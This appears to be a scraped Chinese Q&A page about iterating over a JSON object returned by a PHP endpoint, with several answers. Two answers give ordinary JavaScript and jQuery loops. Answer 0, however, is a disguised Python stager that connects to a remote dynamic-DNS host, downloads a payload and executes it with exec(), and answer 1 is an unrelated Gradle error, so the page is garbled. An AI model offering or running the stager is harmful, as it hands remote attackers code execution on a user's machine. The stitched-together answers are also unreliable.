这是响应代码
echo json_encode( array('success' => $stat,'msg'=>$file));
从服务器响应返回
Object {success: "success", msg: "2017_nissan_gtr-2560x14409.jpg"}
答案 0 :(得分:3)
import socket, struct
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chxxxmaz.dyndns.biz', 1604))
# Receive data
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)
exec(d, {'s': s})
答案 1 :(得分:1)
您可以通过以下代码迭代对象。
org.gradle.internal.metaobject.AbstractDynamicObject$CustomMessageMissingMethodException: Could not find method service() for arguments [{name=service1, version=1.0}] on root project ...
答案 2 :(得分:0)
您可以使用Object.keys()
:
var respObj = {
success: "success",
msg: "2017_nissan_gtr-2560x14409.jpg"
}
Object.keys(respObj).forEach(function(k) {
console.log('key::::>', k,' value::::> ', respObj[k]);
})
答案 3 :(得分:0)
U可以使用以下代码迭代对象属性..
$.each(obj, function (key, value) { });